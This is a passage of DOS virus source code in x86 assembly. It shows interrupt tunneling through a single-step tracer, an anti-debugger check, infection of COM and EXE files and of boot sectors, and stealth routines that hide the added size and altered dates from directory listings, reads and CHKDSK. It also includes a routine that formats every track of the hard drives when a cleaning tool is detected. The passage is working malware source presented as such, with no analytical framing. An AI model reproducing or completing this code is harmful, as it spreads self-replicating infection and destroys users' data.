copy_ints: push ds
xor ax,ax
mov ds,ax ; segment 0
mov si,13h * 4h
mov di,offset int_13
push si si
movsw
movsw ; int 13h to int_13
pop si
movsw
movsw ; int 13h to dos_13
mov si,15h * 4h
movsw
movsw ; int 15h to int_15
pop si ; address of int 13h's IVT
cmp byte ptr ds:[475h],al ; any hard disks?
je copy_int_40
mov si,40h * 4h
copy_int_40: movsw
movsw ; copy int 13h/40h to int_40
mov si,21h * 4h
movsw
movsw ; int 21h to int_21
pop ds
retn
;=====( get interrupt address )==============================================;
get_int: push ax
xor ah,ah
rol ax,1
rol ax,1
xchg bx,ax
xor ax,ax
mov es,ax
les bx,es:[bx] ; get int address
pop ax
retn
;=====( Set interrupt address )==============================================;
set_int: push ax bx ds
xor ah,ah
rol ax,1
rol ax,1
xchg ax,bx
xor ax,ax
push ds
mov ds,ax
mov ds:[bx],dx
pop ds:[bx + 2]
pop ds bx ax
retn
push_all: pop cs:push_pop_ret
pushf
push ax bx cx dx bp si di ds es
mov bp,sp
push_pop_jmp: jmp cs:push_pop_ret
pop_all: pop cs:push_pop_ret
pop es ds di si bp dx cx bx ax
popf
jmp push_pop_jmp
anti_tbclean: xor ax,ax
pushf
pop dx
and dh,not 1 ; TF off
push dx dx
popf
push ss
pop ss
pushf ; Not trapped
pop dx
test dh,1 ; TF set?
pop dx
je anti_tb_ret
push es
xor bp,bp
mov cx,ss
cli
mov ss,bp ; segment 0
les di,ss:[bp+1h*4h] ; address of int 1h
mov ss,cx
sti
mov al,0cfh
cld
stosb ; IRET -> Int 1h
pop es
push dx
popf
anti_tb_ret: xchg bp,ax ; save result
retn
;=====( Swap jump into DOS' int 13h )========================================;
swap_13: call push_all
mov si,offset jump_code_13
les di,cs:[si+dos_13-jump_code_13] ; get address in DOS
jmp swap_code
;=====( Swap jump into DOS' int 21h )========================================;
swap_21: call push_all
mov si,offset jump_code_21
les di,cs:[si+int_21-jump_code_21]
swap_code: push cs
pop ds
mov cx,5
cmp ds:origin,ch ; 0 -> Boot origin, no tunnel
je swap_end
cld
swap_loop: lodsb
xchg al,es:[di]
mov ds:[si-1],al
inc di
loop swap_loop
swap_end: call pop_all
retn
;=====( Find original interrupt entry points )===============================;
find_ints: call copy_ints ; get interrupt addresses
mov ah,52h
int 21h
mov ax,es:[bx-2]
mov ds:dos_seg,ax ; 1st MCB segment
mov al,1h
call get_int ; get address of int 1h
push bx es
mov dx,offset tracer
call set_int ; hook int 1h
pushf
pop si
mov di,offset trace_mode
mov byte ptr ds:[di],find_dos_13 ; find int 13h in DOS
; and BIOS
mov ah,1h
call si_tf ; set TF
call call_13
mov byte ptr ds:[di],find_15 ; find int 15h in BIOS
mov ah,0c0h
call si_tf ; set TF
pushf
call ds:int_15
mov byte ptr ds:[di],find_21 ; find int 21h in DOS
mov ah,30h
call si_tf ; set TF
call call_21
mov byte ptr ds:[di],find_40 ; find int 40h in BIOS
mov ah,1
call si_tf ; set TF
call call_40
and si,not 100h
push si
popf ; disable Trapping
pop ds dx
mov al,1
call set_int ; unhook int 1h
retn
;=====( Set TF in SI, then set flags to SI )=================================;
tracer: push ds
push cs
pop ds
mov ds:old_di,di
mov di,offset old_ax
mov ds:[di],ax
mov ds:[di+old_bx-old_ax],bx
mov ds:[di+old_cx-old_ax],cx
mov ds:[di+old_dx-old_ax],dx
pop ds:[di-(old_ax-old_ds)]
pop bx cx dx ; get IP, CS and Flags
mov ax,cs
cmp ax,cx ; In our CS?
jne $
trace_mode = byte ptr $ - 1
jmp tracer_iret
tracer_dos_13: cmp cx,ds:dos_seg ; in DOS code?
jnb tracer_cont
mov di,offset dos_13
mov ds:trace_mode,find_13 ; find it in BIOS next
jmp tracer_save_f
tracer_21: cmp cx,1234h ; In DOS code?
dos_seg = word ptr $ - 2
jnb tracer_cont
mov di,offset int_21
tracer_save: and dh,not 1 ; TF off
tracer_save_f: mov ds:[di],bx
mov ds:[di + 2],cx ; save address of int
jmp tracer_cont
tracer_step_21: dec ds:inst_count ; down counter
jne tracer_cont
push dx
mov al,1
lds dx,ds:int_1 ; get int 1h address
call set_int
call swap_21 ; insert int 21h jump
pop dx
and dh,not 1h ; TF off
tracer_cont: test dh,1 ; TF on?
je tracer_iret
get_inst: mov ds,cx ; instruction CS
xor di,di
get_inst1: mov ax,ds:[bx + di] ; get instruction
cmp al,0f0h ; LOCK
je skip_prefix
cmp al,0f2h ; REPNE
je skip_prefix
cmp al,0f3h ; REPE?
je skip_prefix
cmp al,9ch ; PUSHF or above?
jae emulate_pushf
and al,11100111b ; 26,2e,36,3e = 26
cmp al,26h ; Segment Prefix?
jne tracer_iret
skip_prefix: inc di
jmp get_inst1
emulate_pushf: jne emulate_popf
and dh,not 1 ; TF off
push dx ; fake PUSHF
emulate_next: lea bx,ds:[bx + di + 1] ; skip instruction
emulate_tf: or dh,1 ; TF on
jmp get_inst
emulate_popf: cmp al,9dh ; POPF?
jne emulate_iret
pop dx ; fake POPF
jmp emulate_next
emulate_iret: cmp al,0cfh ; IRET?
jne emulate_int
pop bx cx dx ; fake IRET
jmp emulate_tf
emulate_int: cmp al,0cdh ; Int xx
je emulate_int_xx
cmp al,0cch ; Int 3?
mov ah,3
je emulate_int_x
cmp al,0ceh ; Into?
mov ah,4
jne tracer_iret
test dh,8 ; OF set?
je tracer_iret
emulate_int_x: dec bx ; [bx+di+2-1]
emulate_int_xx: and dh,not 1 ; TF off
lea bx,ds:[bx + di + 2] ; get return address
push dx cx bx ; fake Int
mov al,ah
push es
call get_int ; get interrupt address
mov cx,es
pop es
jmp emulate_tf
tracer_iret: push dx cx bx ; save flags, cs & ip
mov ax,0
old_ds = word ptr $ - 2
mov ds,ax
mov ax,0
old_ax = word ptr $ - 2
mov bx,0
old_bx = word ptr $ - 2
mov cx,0
old_cx = word ptr $ - 2
mov dx,0
old_dx = word ptr $ - 2
mov di,0
old_di = word ptr $ - 2
iret
;=====( file infections come here after decryption )=========================;
file_start: push ds ; save PSP segment
call $ + 3
pop si
sub si,offset $ - 1
call anti_tbclean ; disable TBCLEAN
or bp,bp ; TBCLEAN active?
jne go_res
mov ah,30h
mov bx,-666h
int 21h
cmp al,3h ; must be DOS 3+
jb jump_host
go_res: mov ax,es
dec ax
mov ds,ax
xor di,di
or bp,bp ; TBCLEAN here?
jne dont_check_mcb
cmp byte ptr ds:[di],'Z' ; Last Block?
jne jump_host
dont_check_mcb: mov ax,para_size
sub ds:[di + 3],ax ; from MCB
sub ds:[di + 12h],ax ; from PSP
mov es,ds:[di + 12h] ; get memory address
mov ds,di
sub word ptr ds:[413h],kilo_size ; from int 12h
mov cx,jump_code_13-v_start
cld
rep movs byte ptr es:[di],byte ptr cs:[si]
mov ax,offset high_code
push es ax
retf
jump_host: push cs
pop ds
pop es ; PSP segment
lea si,ds:[si + header] ; get address of header
mov ax,ds:[si] ; get 1st instruction
cmp ax,'ZM' ; EXE?
je jump_2_exe
cmp ax,'MZ' ; EXE?
je jump_2_exe
mov cx,18h / 2
mov di,100h
push es di
cld
rep movsw ; repair .COM file
push es
pop ds
xchg ax,cx
retf
jump_2_exe: mov ax,es
add ax,10h
add ds:[si.eh_cs],ax
add ax,ds:[si.eh_ss] ; get SS/CS
push es
pop ds
cli
mov ss,ax
mov sp,cs:[si.eh_sp]
xor ax,ax
sti
jmp dword ptr cs:[si.eh_ip]
high_code: push cs
pop ds
mov byte ptr ds:[di+origin-jump_code_13],file ; tunnel
mov ax,2
call random ; 1 in 3 chance of no stealth
; on special programs
mov ds:check_special,al
mov ds:hook_21,no_hook_21 ; dont hook int 21h
mov al,0eah
stosb ; store at jump_code_13
mov ds:[di+4],al
mov ax,offset new_13
stosw
mov word ptr ds:[di+3],offset new_21
mov ds:[di],cs
mov ds:[di+5],cs
push di
call find_ints ; trace interrupts
pop di
push cs
pop ds
mov ax,ds:dos_seg
cmp word ptr ds:[di+(dos_13+2)-(jump_code_13+3)],ax
; found DOS' int 13h?
ja call_inf_hard
cmp word ptr ds:[di+(int_21+2)-(jump_code_13+3)],ax
; found DOS' int 21h?
ja call_inf_hard
call swap_13
call swap_21 ; insert jumps into DOS
call_inf_hard: call inf_hard ; infect drive C:
or bp,bp ; ZF -> No TBCLEAN
mov si,bp ; SI=0 if goto jump_host
jne kill_disk
jmp jump_host
kill_disk: xor bx,bx
mov es,bx ; table to use for format
mov dl,80h ; Drive C:
kill_next_disk: xor dh,dh ; head 0
kill_next_track:xor cx,cx ; track 0
kill_format: mov ax,501h
call call_disk ; format track
and cl,11000000b
inc ch ; next track low
jne kill_format
add cl,40h ; next track high
jne kill_format
xor ah,ah
int 13h ; reset disk
inc dh ; next head
cmp dh,10h
jb kill_next_track
inc dx ; next drive
jmp kill_next_disk
check_21: call push_all
mov al,21h
call get_int ; get int 21h address
mov ax,es
push cs cs
pop ds es
cmp ax,800h ; too high?
ja cant_hook_21
mov di,offset int_21 + 2
std
xchg ax,ds:[di] ; swap addresses
scasw ; did it change?
je cant_hook_21
mov ds:[di],bx
mov al,21h
mov dx,offset new_21
call set_int ; hook int 21h
mov ds:hook_21,no_hook_21
cant_hook_21: call pop_all
new_13_next: cmp ah,2h ; Read?
jne jump_13
cmp cx,1 ; track 0, sector 1?
jne jump_13
or dh,dh ; head 0?
je hide_boot
jump_13: call call_dos_13
retf 2h
hide_boot: call call_dos_13 ; read boot sector
call push_all
jb hide_boot_err
push es cs
pop es ds
mov cx,100h
mov si,bx
mov di,offset disk_buff
mov bx,di
cld
rep movsw ; copy boot sector to buffer
push cs
pop ds
call find_boot ; find start/already infected?
jne inf_boot
mov ax,201h
mov cx,ds:[si+load_sect-loader]
mov dh,byte ptr ds:[si+(load_head+1)-loader]
; get code location
call call_disk ; read virus code
jb hide_boot_err
mov ax,ds:[0]
cmp ds:[bx],ax ; verify infection
jne hide_boot_err
mov di,ss:[bp.reg_bx]
mov es,ss:[bp.reg_es] ; get caller's buffer
sub si,bx ; displacement into boot sect.
add di,si ; address of loader
lea si,ds:[bx+(boot_code-v_start)] ; boot code in virus
call move_boot_code1 ; hide infection
hide_boot_err: call pop_all
retf 2h
inf_boot: cmp dl,80h ; hard disk?
jnb hide_boot_err
mov ax,301h
mov cx,1
call call_disk ; Write boot sector to disk
; CY -> Write-Protected
jb hide_boot_err
mov si,dx ; save drive #
mov di,bx
mov ax,ds:[di.bs_sectors] ; get number of sectors
mov cx,ds:[di.bs_sectors_per_track]
sub ds:[di.bs_sectors],cx ; prevent overwriting of code
mov ds:hide_count,cx
xor dx,dx
or ax,ax ; error?
je hide_boot_err
jcxz hide_boot_err
div cx
or dx,dx ; even division?
jne hide_boot_err
mov bx,ds:[di.bs_heads] ; get number of heads
or bx,bx
je hide_boot_err
div bx
or dx,dx
jne hide_boot_err
dec ax
mov ch,al ; last track
mov cl,1 ; sector 1
dec bx
mov dx,si ; drive
mov dh,bl ; last head
mov bx,di ; offset disk buffer
call copy_loader ; Copy loader into Boot sector
jb hide_boot_err
mov ax,300h + sect_size
xor bx,bx
call call_disk
jb hide_boot_err
mov ax,301h
mov bx,offset disk_buff
mov cx,1
xor dh,dh
call call_disk ; write boot sector to disk
mov bx,ss:[bp.reg_bx]
mov ds,ss:[bp.reg_es] ; get caller's buffer
sub ds:[bx.bs_sectors],9ffh ; prevent overwriting of code
hide_count = word ptr $ - 2
jmp hide_boot_err
new_21: cli
mov cs:int_21_ss,ss
mov cs:int_21_sp,sp ; save stack pointers
push cs
pop ss
mov sp,offset temp_stack ; allocate stack
sti
call push_all
in al,21h
or al,2 ; disable keyboard
out 21h,al
push cs
pop ds
mov di,offset new_24
mov word ptr ds:[di-(new_24-handle)],bx ; save handle
mov al,24h
call get_int ; get address of int 24h
mov word ptr ds:[di-(new_24-int_24)],bx
mov word ptr ds:[di-(new_24-(int_24+2))],es
mov word ptr ds:[di],03b0h ; MOV AL,3
mov byte ptr ds:[di+2],0cfh ; IRET
mov dx,di
call set_int ; hook int 24h
call pop_all
call swap_21 ; remove jump from int 21h
call push_all
cmp ah,30h ; get DOS version?
jne is_dir_fcb
add bx,666h ; looking for us?
jnz is_dir_fcb
mov ss:[bp.reg_ax],bx ; set DOS version=0
mov ss:[bp.reg_bx],bx
jmp retf_21
is_dir_fcb: cmp ah,11h
jb is_dir_asciiz
cmp ah,12h
ja is_dir_asciiz
call call_21 ; do find
or al,al ; error?
je dir_fcb
jmp jump_21
dir_fcb: call save_returns ; save AX
call get_psp ; get current PSP
mov ax,'HC'
scasw ; CHKDSK?
jne dir_fcb_ok
mov ax,'DK'
scasw
jne dir_fcb_ok
mov ax,'KS'
scasw
je retf_21
dir_fcb_ok: call get_dta ; get DTA address
xor di,di
cmp byte ptr ds:[bx],-1 ; extended FCB?
jne dir_fcb_next
mov di,7h ; fix it up
dir_fcb_next: lea si,ds:[bx+di.ds_date+1] ; offset of year -> SI
dir_hide: call is_specialfile ; no stealth if helper
je retf_21
cmp byte ptr ds:[si],years ; infected?
jc retf_21
sub byte ptr ds:[si],years ; restore old date
les ax,ds:[bx+di.ds_size] ; get size of file
mov cx,es
sub ax,file_size ; hide size increase
sbb cx,0
jc retf_21
mov word ptr ds:[bx+di.ds_size],ax
mov word ptr ds:[bx+di.ds_size+2],cx ; save new size
retf_21: call undo_24 ; unhook int 24h
call pop_all
call swap_21 ; insert jump
cli
mov ss,cs:int_21_ss
mov sp,cs:int_21_sp
sti
retf 2
dir_asciiz: call save_returns ; save AX and flags
call get_dta ; get dta address
mov di,-3
lea si,ds:[bx.dta_date+1] ; get year address
jmp dir_hide
is_lseek: cmp ax,4202h ; Lseek to end?
jne is_date
call call_21_file
jb go_jump_21
call get_dcb ; get DCB address
jbe lseek_exit
call is_specialfile ; dont hide true size from
; helpers
je lseek_exit
sub ax,file_size
sbb dx,0 ; hide virus at end
mov word ptr ds:[di.dcb_pos],ax
mov word ptr ds:[di.dcb_pos+2],dx ; set position in DCB
lseek_exit: clc
call save_returns ; save AX/flags
mov ss:[bp.reg_dx],dx
jmp retf_21
is_date: cmp ax,5700h ; get date?
je get_date
cmp ax,5701h ; set date?
jne is_read
call get_dcb
jbe date_err
cmp dh,years ; already setting 100 years?
jnb date_err
add dh,years ; dont erase marker
get_date: call is_specialfile ; do not hide date for
; helpers
je date_err
call call_21_file ; get/set date
jnc date_check
date_err: jmp jump_21
date_check: cmp dh,years ; infected?
jb date_ok
sub dh,years
date_ok: clc
call save_returns ; save ax/flags
mov ss:[bp.reg_cx],cx
mov ss:[bp.reg_dx],dx ; save time/date
jmp retf_21
do_read: call get_dcb ; get DCB address
jbe no_read
call is_specialfile
je no_read
les ax,ds:[di.dcb_size] ; get size of file
mov bx,es
les dx,ds:[di.dcb_pos] ; get current position
mov si,es
and cs:read_bytes,0
or si,si ; in 1st 64k?
jnz read_high
cmp dx,18h ; reading header?
jnb read_high
push cx
add cx,dx
cmc
jnc read_above
cmp cx,18h ; read goes above header?
read_above: pop cx
jb read_below
mov cx,18h
sub cx,dx
read_below: push ax bx ; save size
push dx ; position
sub dx,18h
add ax,dx ; get position in header
cmc
sbb bx,si
xchg word ptr ds:[di.dcb_pos],ax
xchg word ptr ds:[di.dcb_pos+2],bx ; lseek to header
push ax bx
push ds
mov ah,3fh
mov dx,ss:[bp.reg_dx]
mov ds,ss:[bp.reg_ds]
call call_21_file ; read file
pop ds
pop word ptr ds:[di.dcb_pos+2]
pop word ptr ds:[di.dcb_pos]
pop dx
pushf
add dx,ax ; adjust position
add cs:read_bytes,ax ; remember # of bytes read
popf
pop bx ax
jnc read_high
jmp jump_21
read_high: mov word ptr ds:[di.dcb_pos],dx ; update position
mov word ptr ds:[di.dcb_pos+2],si
mov cx,ss:[bp.reg_cx] ; number of bytes to read
sub cx,cs:read_bytes
sub ax,file_size
sbb bx,0 ; get original size
push ax bx
sub ax,dx
sbb bx,si ; in virus now?
pop bx ax
jnc read_into
xor cx,cx ; read 0 bytes
jmp read_fake
read_into: add dx,cx
adc si,0 ; get position after read
cmp bx,si ; read extends into virus?
ja read_fake
jb read_adjust
cmp ax,dx
jnb read_fake
read_adjust: sub dx,cx ; get position again
xchg cx,ax
sub cx,dx ; # of bytes to read = Original size - Pos
read_fake: mov ah,3fh
mov dx,ss:[bp.reg_dx]
add dx,cs:read_bytes
mov ds,ss:[bp.reg_ds]
call call_21_file ; read file
jc read_exit
add ax,0
read_bytes = word ptr $ - 2
clc
read_exit: call save_returns
jmp retf_21
is_write: cmp ah,40h ; write?
je do_write
no_write: jmp is_infect
do_write: call get_dcb
jbe no_write
les ax,ds:[di.dcb_size] ; get file size
mov bx,es
sub ax,18h
sbb bx,0 ; get header position
xchg ax,word ptr ds:[di.dcb_pos]
xchg bx,word ptr ds:[di.dcb_pos+2] ; lseek to header
push ax bx
mov ax,2
xchg ax,ds:[di.dcb_mode] ; read/write mode
push ax
push ds cs
pop ds es
call read_header ; read 18h bytes
pop es:[di.dcb_mode] ; restore access mode
jc write_rest_pos
mov word ptr es:[di.dcb_pos],ax
mov word ptr es:[di.dcb_pos+2],ax ; lseek to start
call write_header ; write old header
jc write_rest_pos
push es
pop ds
sub word ptr ds:[di.dcb_size],file_size
sbb word ptr ds:[di.dcb_size+2],ax ; truncate at virus
sub byte ptr ds:[di.dcb_date+1],years ; remove 100 years
write_rest_pos: pop word ptr es:[di.dcb_pos+2]
pop word ptr es:[di.dcb_pos]
jmp jump_21
is_infect: cmp ah,3eh ; Close?
je infect_3e
cmp ax,4b00h ; Execute?
je infect_4b
jmp jump_21
infect_4b: mov ax,3d00h ; Open file
cmp ax,0
org $ - 2
infect_3e: mov ah,45h ; Duplicate handle
call int_2_bios ; lock out protection programs
call call_21_file ; get handle
mov cs:handle,ax
mov ax,4408h
cwd
jc undo_bios
call get_dcb ; get DCB for handle
jb cant_infect
jne cant_infect ; error/already infected
mov bl,00111111b
and bl,byte ptr ds:[di.dcb_dev_attr] ; get drive code
mov dl,bl ; DX=00**
inc bx ; 0=default,1=a,2=b,3=c,etc.
call call_21 ; drive removable?
mov cx,1h
push cs
pop es
jc test_prot_drive
dec ax ; 1=non-removable
jz no_protect
jmp test_protect
test_prot_drive:cmp dl,1 ; A or B?
ja no_protect
test_protect: mov ax,201h
mov bx,offset disk_buff
int 13h ; read sector
jc cant_infect
mov ax,301h
int 13h ; write it back
jc cant_infect
no_protect: inc cx ; CX=2
xchg cx,ds:[di.dcb_mode] ; read/write access mode
push cx
xor ax,ax
xchg ah,ds:[di.dcb_attr] ; attribute=0
test ah,00000100b ; system file?
push ax
jne cant_system
cbw
cwd
xchg ax,word ptr ds:[di.dcb_pos]
xchg dx,word ptr ds:[di.dcb_pos+2] ; lseek to 0
push ax dx
mov bp,-'OC'
add bp,word ptr ds:[di.dcb_ext] ; BP=0 of CO
jnz not_com
mov bp,-'MO'
add bp,word ptr ds:[di.dcb_ext+1] ; BP=0 if OM
not_com: call infect
pushf
call get_dcb
popf
jc not_infected
add byte ptr ds:[di.dcb_date+1],years ; add 100 years
not_infected: or byte ptr ds:[di.dcb_dev_attr+1],40h ; no time/date
pop word ptr ds:[di.dcb_pos+2]
pop word ptr ds:[di.dcb_pos]
cant_system: pop word ptr ds:[di.dcb_attr-1] ; restore attribute
pop ds:[di.dcb_mode] ; restore access mode
cant_infect: mov ah,3eh
call call_21_file ; close file
undo_bios: call int_2_bios ; restore interrupts
;=====( Jump on to int 21h )=================================================;
jump_21: call undo_24 ; unhook int 24h
push cs
pop ds
mov al,1h
mov di,offset int_1
cmp byte ptr ds:[di+origin-int_1],al ; file origin?
jne jump_21_1
call get_int ; get int 1h address
mov ds:[di],bx
mov ds:[di + 2],es
mov byte ptr ds:[di+inst_count-int_1],5
mov ds:trace_mode,step_21
mov dx,offset tracer
call set_int ; hook int 1h
call pop_all
push si
pushf
pop si
call si_tf ; set TF
pop si
go_21: cli
mov ss,cs:int_21_ss
mov sp,cs:int_21_sp ; restore stack
sti
go_2_21: jmp cs:int_21
jump_21_1: call pop_all
jmp go_21
;=====( actual infection routine )===========================================;
infect: push cs
pop ds
call read_header ; read first 18h bytes
jc inf_bad_file
mov si,dx
mov di,offset work_header
cld
rep movsb ; copy header to work_header
call get_dcb
les ax,ds:[di.dcb_size] ; get file size
mov dx,es
mov word ptr ds:[di.dcb_pos],ax
mov word ptr ds:[di.dcb_pos+2],dx ; lseek to end
push cs cs
pop es ds
mov cx,ds:[si] ; get first 2 bytes
cmp cx,'MZ' ; .EXE file?
je inf_exe
cmp cx,'ZM' ; .EXE file?
je inf_exe
or dx,bp ; COM file and < 64k?
jnz inf_bad_file
cmp ax,0-(file_size+100)
ja inf_bad_file
cmp ax,1000
jb inf_bad_file
mov byte ptr ds:[si],0e9h ; build jump
inc ah ; Add PSP size (100h)
push ax ; save IP for engine
add ax,offset decrypt-103h ; get jump disp. (- PSP size)
mov ds:[si+1],ax
jmp append_vir
inf_bad_file: stc
retn
inf_exe: cmp word ptr ds:[si.eh_max_mem],-1
jne inf_bad_file
mov bp,ax
mov di,dx ; save size in DI:BP
mov cx,200h
div cx ; divide into pages
or dx,dx ; Any remainder?
jz no_round
inc ax
no_round: sub ax,ds:[si.eh_size] ; size same as header says?
jne inf_bad_file
sub dx,ds:[si.eh_modulo]
jne inf_bad_file
mov ax,file_size ; virus size
add ax,bp
adc dx,di ; + program size
div cx ; / 512
or dx,dx ; round up?
jz no_round1
inc ax
no_round1: mov ds:[si.eh_size],ax
mov ds:[si.eh_modulo],dx ; set new size
mov bx,0-(file_size+1000)
xor cx,cx
get_exe_ip: cmp bp,bx ; make sure virus does not
; cross segments
jb got_exe_ip
sub bp,10h ; down 10h bytes
loop get_exe_ip ; up 1 paragraph
got_exe_ip: cmp di,0fh
ja inf_bad_file
xchg cx,ax
mov cl,4
ror di,cl ; get segment displacement
or ax,ax
jz no_para_add
sub di,ax ; Add segments from LOOP
jnc inf_bad_file
no_para_add: sub di,ds:[si.eh_size_header] ; CS-header size in
; paragraphs
push bp ; save offset of v_start
add bp,decrypt-v_start
mov ds:[si.eh_ip],bp ; set IP
mov ds:[si.eh_cs],di ; set CS
add bp,512 ; 512 bytes of stack
mov ds:[si.eh_sp],bp ; set SP
mov ds:[si.eh_ss],di ; set SS
mov bp,8000h ; Tell engine "Exe file"
sar bx,cl ; 0 - ((file_size+1000h)/16)
mov ax,ds:[si.eh_min_mem]
sub ax,bx ; add file_size+1000h/16
jnb append_vir
mov ds:[si.eh_min_mem],ax
append_vir: pop ax
call engine ; encrypt/write/decrypt
push bp
popf
jc append_vir_err
call get_dcb
mov word ptr ds:[di.dcb_pos],cx
mov word ptr ds:[di.dcb_pos+2],cx ; lseek to start
mov ah,40h
mov dx,offset work_header
push cs
pop ds
call header_op ; write new header to file
append_vir_err: retn
;=====( Get DCB address for file )===========================================;
get_dcb: push ax bx
mov ax,1220h
mov bx,cs:handle ; get file handle
int 2fh ; get DCB number address
jc get_dcb_fail
mov ax,1216h
mov bl,es:[di] ; get DCB number
cmp bl,-1 ; Handle Openned?
cmc
je get_dcb_fail
int 2fh ; get DCB address
jc get_dcb_fail
push es
pop ds
test byte ptr ds:[di.dcb_dev_attr],80h ; device or file?
cmc
jne get_dcb_fail
test byte ptr ds:[di.dcb_date+1],80h ; infected?
get_dcb_fail: pop bx ax
retn
;=====( Swap original 13h/15h/40h addresses with IVT addresses )=============;
int_2_bios: push ax bx dx ds
mov al,13h ; int 13h
mov di,offset int_13
int_2_bios_lp: push cs
pop ds
call get_int ; get int address
mov dx,es
xchg bx,ds:[di] ; swap offsets
cld
scasw
xchg dx,bx
xchg bx,ds:[di] ; swap segments
scasw
mov ds,bx ; DS:DX=new address
call set_int ; set int to DS:DX
cmp al,15h
mov al,15h
jnb int_2_bios_40 ; CY AL=13h
add di,4
jmp int_2_bios_lp
int_2_bios_40: mov al,40h
je int_2_bios_lp ; ZR AL=15h else AL=40h, exit
pop ds dx bx ax
retn
;=====( Read/write header to file )==========================================;
;=====( Unhook int 24h )=====================================================;
undo_24: mov al,24h
lds dx,cs:int_24
call set_int ; unhook int 24h
in al,21h
and al,not 2 ; enable keyboard
out 21h,al
retn
;=====( Save returns after int 21h call )====================================;
save_returns: mov ss:[bp.reg_ax],ax
pushf
pop ss:[bp.reg_f]
retn
;=====( Return ZF set if ARJ, PKZIP, LHA or MODEM )==========================;
is_specialfile: push ax cx si di es
mov al,0
check_special = byte ptr $ - 1
or al,al ; Check for special?
jnz it_is_special
call get_psp ; get MCB of current PSP
mov ax,es:[di] ; get 1st 2 letters of name
cmp ax,'RA' ; ARj?
je it_is_special
cmp ax,'HL' ; LHa?
je it_is_special
cmp ax,'KP' ; PKzip?
je it_is_special
mov cx,2
mov si,offset backup
is_it_mod_bak: push cx di
mov cl,8
lods byte ptr cs:[si] ; get 'B' or 'M'
xor al,66h + 6h ; decrypt
repne scasb
jne is_it_mod
cmp cl,3
jb is_it_mod
mov cl,4
is_ode_ack: lods byte ptr cs:[si]
xor al,66h + 6h
jz is_it_mod ; 0 (done)?
scasb
loope is_ode_ack
is_it_mod: mov si,offset modem
pop di cx
loopne is_it_mod_bak
it_is_special: pop es di si cx ax
retn
backup: db 'B' xor (66h + 6h)
db 'A' xor (66h + 6h)
db 'C' xor (66h + 6h)
db 'K' xor (66h + 6h)
db 0 xor (66h + 6h)
modem: db 'M' xor (66h + 6h)
db 'O' xor (66h + 6h)
db 'D' xor (66h + 6h)
db 'E' xor (66h + 6h)
db 'M' xor (66h + 6h)
;=====( get current PSP segment )============================================;
get_psp: push ax bx
mov ah,62h
call call_21 ; get PSP segment
dec bx
mov es,bx ; MCB of current program
mov di,8h ; offset of file name
cld
pop bx ax
retn
;=====( Get DTA address )====================================================;
get_dta: mov ah,2fh
call call_21 ; DTA address into ES:BX
push es
pop ds
retn
key_reg db ?
count_reg db ?
ptr_reg db ?
ptr_reg1 db ?
modify_op db ?
origin db ?
inst_count db ?
disk_buff db 512 dup(?)
v_end:
;=====( Very useful structures )=============================================;
;=====( Memory Control Block structure )=====================================;
mcb struc
mcb_sig db ? ; 'Z' or 'M'
mcb_owner dw ? ; attribute of owner
mcb_size dw ? ; size of mcb block
mcb_name db 8 dup(?) ; file name of owner
mcb ends
;=====( For functions 11h and 12h )==========================================;
Directory STRUC
DS_Drive db ?
DS_Name db 8 dup(0)
DS_Ext db 3 dup(0)
DS_Attr db ?
DS_Reserved db 10 dup(0)
DS_Time dw ?
DS_Date dw ?
DS_Start_Clust dw ?
DS_Size dd ?
Directory ENDS
;=====( for functions 4eh and 4fh )==========================================;
DTA STRUC
DTA_Reserved db 21 dup(0)
DTA_Attr db ?
DTA_Time dw ?
DTA_Date dw ?
DTA_Size dd ?
DTA_Name db 13 dup(0)
DTA ENDS
Exe_Header STRUC
EH_Signature dw ? ; Set to 'MZ' or 'ZM' for .exe files
EH_Modulo dw ? ; remainder of file size/512
EH_Size dw ? ; file size/512
EH_Reloc dw ? ; Number of relocation items
EH_Size_Header dw ? ; Size of header in paragraphs
EH_Min_Mem dw ? ; Minimum paragraphs needed by file
EH_Max_Mem dw ? ; Maximum paragraphs needed by file
EH_SS dw ? ; Stack segment displacement
EH_SP dw ? ; Stack Pointer
EH_Checksum dw ? ; Checksum, not used
EH_IP dw ? ; Instruction Pointer of Exe file
EH_CS dw ? ; Code segment displacement of .exe
eh_1st_reloc dw ? ; first relocation item
eh_ovl dw ? ; overlay number
Exe_Header ENDS
Boot_Sector STRUC
bs_Jump db 3 dup(?)
bs_Oem_Name db 8 dup(?)
bs_Bytes_Per_Sector dw ?
bs_Sectors_Per_Cluster db ?
bs_Reserved_Sectors dw ?
bs_FATs db ? ; Number of FATs
bs_Root_Dir_Entries dw ? ; Max number of root dir entries
bs_Sectors dw ? ; number of sectors; small
bs_Media db ? ; Media descriptor byte
bs_Sectors_Per_FAT dw ?
bs_Sectors_Per_Track dw ?
bs_Heads dw ? ; number of heads
bs_Hidden_Sectors dd ?
bs_Huge_Sectors dd ? ; number of sectors; large
bs_Drive_Number db ?
bs_Reserved db ?
bs_Boot_Signature db ?
bs_Volume_ID dd ?
bs_Volume_Label db 11 dup(?)
bs_File_System_Type db 8 dup(?)
Boot_Sector ENDS
Partition_Table STRUC
pt_Code db 1beh dup(?) ; partition table code
pt_Status db ? ; 0=non-bootable 80h=bootable
pt_Start_Head db ?
pt_Start_Sector_Track dw ?
pt_Type db ? ; 1 = DOS 12bit FAT 4 = DOS 16bit FAT
pt_End_Head db ?
pt_End_Sector_Track dw ?
pt_Starting_Abs_Sector dd ?
pt_Number_Sectors dd ?
Partition_Table ENDS
int_1_stack STRUC
st_ip dw ? ; offset of next instruction after
; interrupt
st_cs dw ? ; segment of next instruction
st_flags dw ? ; flags when interrupt was called
int_1_stack ENDS
;----------------------------------------------------------------------------;
; Dcb description for DOS 3+ ;
; ;
; Offset Size Description ;
; 00h WORD number of file handles referring to this file ;
; 02h WORD file open mode (see AH=3Dh) ;
; bit 15 set if this file opened via FCB ;
; 04h BYTE file attribute ;
; 05h WORD device info word (see AX=4400h) ;
; 07h DWORD pointer to device driver header if character device ;
; else pointer to DOS Drive Parameter Block (see AH=32h) ;
; 0Bh WORD starting cluster of file ;
; 0Dh WORD file time in packed format (see AX=5700h) ;
; 0Fh WORD file date in packed format (see AX=5700h) ;
; 11h DWORD file size ;
; 15h DWORD current offset in file ;
; 19h WORD relative cluster within file of last cluster accessed ;
; 1Bh WORD absolute cluster number of last cluster accessed ;
; 0000h if file never read or written??? ;
; 1Dh WORD number of sector containing directory entry ;
; 1Fh BYTE number of dir entry within sector (byte offset/32) ;
; 20h 11 BYTEs filename in FCB format (no path/period, blank-padded) ;
; 2Bh DWORD (SHARE.EXE) pointer to previous SFT sharing same file ;
; 2Fh WORD (SHARE.EXE) network machine number which opened file ;
